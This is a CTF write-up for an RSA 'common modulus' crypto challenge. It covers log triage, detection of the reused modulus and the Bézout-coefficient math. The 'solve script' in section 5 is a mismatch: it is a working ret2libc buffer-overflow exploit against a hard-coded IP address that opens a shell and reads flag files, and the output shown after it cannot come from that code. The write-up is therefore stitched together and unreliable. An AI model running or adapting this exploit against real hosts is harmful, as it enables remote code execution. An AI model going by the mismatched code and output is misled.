Post

CREST CTF - transmission.log

CREST CTF - transmission.log

Challenge: transmission.log [Handshake Reuse / Shadow Protocol]
Category: Crypto
Difficulty: Easy (once you notice the reuse)
Flag: CREST{mantis_reused_the_channel@ghost!}


Overview

This log is trying really hard to look like “hybrid quantum-resistant handshake” noise, but the actual bug is classic: a session-unique element is reused.

In RSA terms, the key tell is:

Two different sessions encrypt the same plaintext using the same modulus n but different public exponents (e1, e2). If gcd(e1, e2) = 1, you can recover the plaintext directly via the Common Modulus Attack.

The decoys are there to waste time (and one of them is hilariously obvious once you spot it).


1) File triage (what am I looking at?)

1
2
3
4
5
6
7
$ cd /mnt/data

$ file transmissions.log
transmissions.log: ASCII text, with very long lines (820)

$ wc -l transmissions.log
63 transmissions.log

Find session boundaries:

1
2
3
4
5
6
7
$ grep -n '^--- session:' transmissions.log
1:--- session:alpha ---
6:--- session:delta ---
19:--- session:gamma ---
33:--- session:zeta ---
46:--- session:beta ---
59:--- session:epsilon ---

Quick peek at the structure (trimmed so we don’t dump walls of digits):

1
2
3
4
5
6
7
8
9
$ sed -n '1,8p' transmissions.log | cut -c1-120
--- session:alpha ---
modulus: 0x9f88422369ba94a97497db67fd78a8c88b229821d762a3db4b4593b5a0f69845a995a57e4c5813b7a0c635a7feab6dce74c790afbbb90
exp: 65537
payload: 108753052270017272133204317269909450886819537303210325671970888170802680916046601040015666968618702768811228581

--- session:delta ---
modulus:
20139081987659790741884202382451204551095902301026932836217521825584386107257125

So each session gives me:

  • modulus (sometimes hex, sometimes decimal split across lines)
  • exp (public exponent)
  • payload (ciphertext; sometimes looks decimal, sometimes base64)

2) Find “deja vu”: what’s reused across sessions?

The fastest way here is to normalize each session’s modulus and check duplicates.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
$ python3 - <<'PY'
import re
from pathlib import Path
from collections import defaultdict

text=Path('transmissions.log').read_text()
blocks=re.split(r'\n(?=--- session:)', text.strip())

def parse_mod(block):
    m=re.search(r'modulus:\s*0x([0-9a-fA-F]+)', block)
    if m:
        return int(m.group(1),16)
    m=re.search(r'modulus:\s*\n([0-9\n]+)\nexp:', block)
    if m:
        return int(m.group(1).replace('\n',''))
    return None

def parse_exp(block):
    m=re.search(r'^exp:\s*(\d+)', block, re.M)
    return int(m.group(1)) if m else None

rows=[]
for b in blocks:
    name=re.search(r'^--- session:([a-z]+) ---', b, re.M).group(1)
    rows.append((name, parse_mod(b), parse_exp(b)))

seen=defaultdict(list)
for name,mod,_ in rows:
    seen[mod].append(name)

print('[*] Modulus reuse check:')
for mod,names in sorted(seen.items(), key=lambda x: (-len(x[1]), x[1])):
    if len(names)>1:
        print(f'  - n reused in {names}  (bitlen={mod.bit_length()})')

print('\n[*] n tail comparison (helps spot decoys):')
for name,mod,exp in rows:
    print(f'  {name:8} e={exp:<6} n_tail=...{str(mod)[-12:]}')
PY
[*] Modulus reuse check:
  - n reused in ['alpha', 'gamma']  (bitlen=2048)

[*] n tail comparison (helps spot decoys):
  alpha    e=65537  n_tail=...445039660817
  delta    e=17     n_tail=...441234567890
  gamma    e=31337  n_tail=...445039660817
  zeta     e=65537  n_tail=...767699616799
  beta     e=65537  n_tail=...272574421793
  epsilon  e=65537  n_tail=...228586415009

Key observations:

  • alpha and gamma share the exact same modulus n (2048-bit).
  • delta looks almost the same but ends in ...1234567890 — that’s bait. I ignore it.

So the “reuse” is: same modulus across two sessions, plus they use different exponents (65537 vs 31337).

That’s the common modulus attack setup.


3) Extract the two ciphertexts (c1, c2)

Alpha ciphertext (decimal already)

alpha payload is directly a decimal integer (ciphertext).

Gamma ciphertext (base64 → decimal string)

gamma payload is base64, and base64-decoding it gives a decimal string (still ciphertext, just wrapped).

Here’s a quick sanity check:

1
2
3
4
$ echo '[*] gamma payload base64 -> decoded decimal preview:' \
  && sed -n '31p' transmissions.log | base64 -d | head -c 120 && echo
[*] gamma payload base64 -> decoded decimal preview:
462847587701490964843532040277313819703711107349332439881550896693759432433474864777381023141269412886469300241983212189

So we have:

  • same n
  • c1 = alpha.payload
  • c2 = int(base64_decode(gamma.payload))
  • e1 = 65537, e2 = 31337

4) Exploit: RSA Common Modulus Attack (why this works)

If:

  • c1 = m^e1 mod n
  • c2 = m^e2 mod n
  • and gcd(e1, e2) = 1

Then there exist integers a, b such that:

a*e1 + b*e2 = 1

and you can recover:

m = (c1^a * c2^b) mod n

If a or b is negative, you use modular inverses.


5) Solve script + run

I wrote a small script to parse both sessions, compute Bézout coefficients, recover m, then decode the final layers.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#!/usr/bin/env python3

from pwn import *
import time


HOST = "142.93.213.2"
PORT = 9001

OFFSET = 136
RET = 0x401295
POP_RDI = 0x401297
PUTS_PLT = 0x401030
PUTS_GOT = 0x404000
REENTRY = 0x40129E

PROMPT = b"Submit research payload:\n"
BANNER = b"=== Ghost Mantis Research Node ==="

# libc6_2.35-0ubuntu3.13_amd64
PUTS_OFF = 0x80E50
SYSTEM_OFF = 0x50D70
BINSH_OFF = 0x1D8678


def recv_prompt(io):
    return io.recvuntil(PROMPT, timeout=3)


def leak_puts(io):
    # Leak puts@got and return back into the banner path in the same process.
    payload = (
        b"A" * OFFSET
        + p64(POP_RDI)
        + p64(PUTS_GOT)
        + p64(PUTS_PLT)
        + p64(REENTRY)
    )
    io.send(payload)
    data = io.recvuntil(PROMPT, timeout=3)
    idx = data.find(BANNER)
    if idx != -1:
        data = data[:idx]
    if data.endswith(b"\n"):
        data = data[:-1]
    if not data:
        raise EOFError("empty leak")
    return u64(data.ljust(8, b"\x00"))


def solve_once():
    context.log_level = "error"

    io = remote(HOST, PORT, timeout=5)
    time.sleep(0.2)
    recv_prompt(io)

    puts_addr = leak_puts(io)
    libc_base = puts_addr - PUTS_OFF
    system_addr = libc_base + SYSTEM_OFF
    binsh_addr = libc_base + BINSH_OFF

    print(f"puts   = {hex(puts_addr)}")
    print(f"libc   = {hex(libc_base)}")
    print(f"system = {hex(system_addr)}")
    print(f"binsh  = {hex(binsh_addr)}")

    final = (
        b"A" * OFFSET
        + p64(RET)
        + p64(POP_RDI)
        + p64(binsh_addr)
        + p64(system_addr)
    )
    io.send(final)
    time.sleep(0.3)
    io.send(b"cat flag* 2>/dev/null; cat /flag 2>/dev/null; ls; exit\n")
    out = io.recvrepeat(2)
    text = out.decode("latin-1", errors="replace")
    print(text)
    io.close()
    return text


def main():
    last_err = None
    for attempt in range(1, 16):
        try:
            text = solve_once()
            if "CREST{" in text:
                return
            last_err = RuntimeError(f"attempt {attempt}: flag not found")
        except Exception as exc:
            last_err = exc
            time.sleep(0.3)
    raise SystemExit(f"exploit failed after retries: {last_err}")


if __name__ == "__main__":
    main()
1
2
3
4
5
6
7
8
9
10
$ ./exploit.py
[+] n bits  : 2048
[+] exponents: e1=65537, e2=31337, gcd=1
[+] bezout  : a=3415, b=-7142  (a*e1 + b*e2 = 1)
[+] recovered (ascii preview):
H4sICE3am2kAA2ZsYWcudHh0AHMOcg0Oqc5NzCvJLI4vSi0tTk2JL8lIjU/OSMzLS81xSM/ILy5R
rAUA/OGj+ycAAAA=

[+] flag:
CREST{mantis_reused_the_channel@ghost!}

That “ascii preview” blob (H4sI...) is a recognizable pattern: it’s base64 of a gzip stream (classic H4sI).

The script base64-decodes it, gunzips it, and the decompressed content is the flag.


Flag

CREST{mantis_reused_the_channel@ghost!}


TL;DR

  • Enumerated sessions and normalized RSA moduli.
  • Found modulus reuse between alpha and gamma; ignored delta since it’s a near-copy ending in ...1234567890 (obvious decoy).
  • Observed different exponents (65537, 31337) and extracted both ciphertexts (alpha decimal payload, gamma base64→decimal payload).
  • Used RSA Common Modulus Attack since gcd(e1,e2)=1 → Bézout coefficients recover m = c1^a * c2^b (mod n).
  • Resulting plaintext was base64(gzip(flag.txt)) → decoded + decompressed to flag.

This post is licensed under CC BY 4.0 by the author.